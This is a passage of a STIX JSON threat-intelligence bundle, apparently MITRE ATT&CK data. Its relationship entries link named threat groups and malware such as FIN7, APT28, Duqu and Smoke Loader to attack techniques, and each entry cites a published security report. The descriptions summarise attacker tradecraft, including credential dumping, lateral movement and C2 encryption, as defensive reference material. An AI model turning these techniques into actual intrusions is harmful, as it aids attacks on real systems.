            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32"
        },
        {
            "id": "relationship--76bd87d6-517e-4294-b4c5-a5a01308bf35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "description": "(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.790Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--06814fdf-8bf8-43eb-b448-812541b46afa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can execute shell commands.(Citation: Proofpoint Leviathan Oct 2017) [Orz](https://attack.mitre.org/software/S0229) can execute commands with JavaScript.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:49:27.561Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) executes <code>systeminfo</code> after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.817Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0c4af99b-e82d-422f-86da-ccc94e55d763",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) deobfuscates its code.(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.562Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[certutil](https://attack.mitre.org/software/S0160) has been used to decode binaries hidden inside certificate files as Base64 information.(Citation: Malwarebytes Targeted Attack against Saudi Arabia)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
                }
            ],
            "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-07-31T19:57:28.960Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3643f451-322d-4f38-91a4-00a55a42c7f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.638Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over port 443.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-04-29T22:01:48.243Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) achieves persistence by using various Registry Run keys.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.358Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2aee3cad-9825-428f-bbd4-de51c688b886",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "type": "relationship",
            "modified": "2020-01-24T16:48:51.327Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "type": "relationship",
            "modified": "2020-03-17T00:07:28.090Z",
            "created": "2017-05-31T21:33:27.038Z"
        },
        {
            "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.328Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--4c5ae895-9a08-40b6-a548-273a9f96ad5b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) downloads additional payloads.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T21:29:27.684Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--108a1655-faba-4016-a276-c224665cb5c4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[gsecdump](https://attack.mitre.org/software/S0008) can dump Windows password hashes from the SAM.(Citation: TrueSec Gsecdump)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrueSec Gsecdump",
                    "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5"
                }
            ],
            "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-19T22:58:42.694Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about the OS, processor, and BIOS.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--c9412068-a35c-4be3-9945-a1f69f2f77db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use fileless UAC bypass and create an elevated COM object to escalate privileges.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-07-17T19:22:28.806Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) uses Base64 encoding for C2 traffic.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:28:45.217Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses an 11-byte XOR algorithm to hide data.(Citation: Sofacy Komplex Trojan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-01-17T19:50:01.355Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6d8d9425-86ec-42d3-bce5-2af53d4f1fad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A Word document delivering [TYPEFRAME](https://attack.mitre.org/software/S0263) prompts the user to enable macro execution.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.176Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:16:11.782Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used <code>net time</code> to check the local time on a target system.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.313Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--17aef45b-9a3c-4192-af31-4a21300a90e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.532Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.242Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cf9e7512-c510-4605-9035-f60335c351f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "DOJ FIN7 Aug 2018",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download"
                },
                {
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "source_name": "Flashpoint FIN 7 March 2019"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2020-01-29T17:31:59.889Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4cf4df8f-9eb3-4136-a082-ea1b5d7b398f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: NCC Group APT15 Alive and Strong)",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.219Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8bbf259b-029b-48fa-859b-5dbbbcd98b53",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on the system and local drives.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.726Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "During its initial execution, [BACKSPACE](https://attack.mitre.org/software/S0031) extracts operating system information from the infected host.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.043Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T18:05:27.875Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating application windows.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
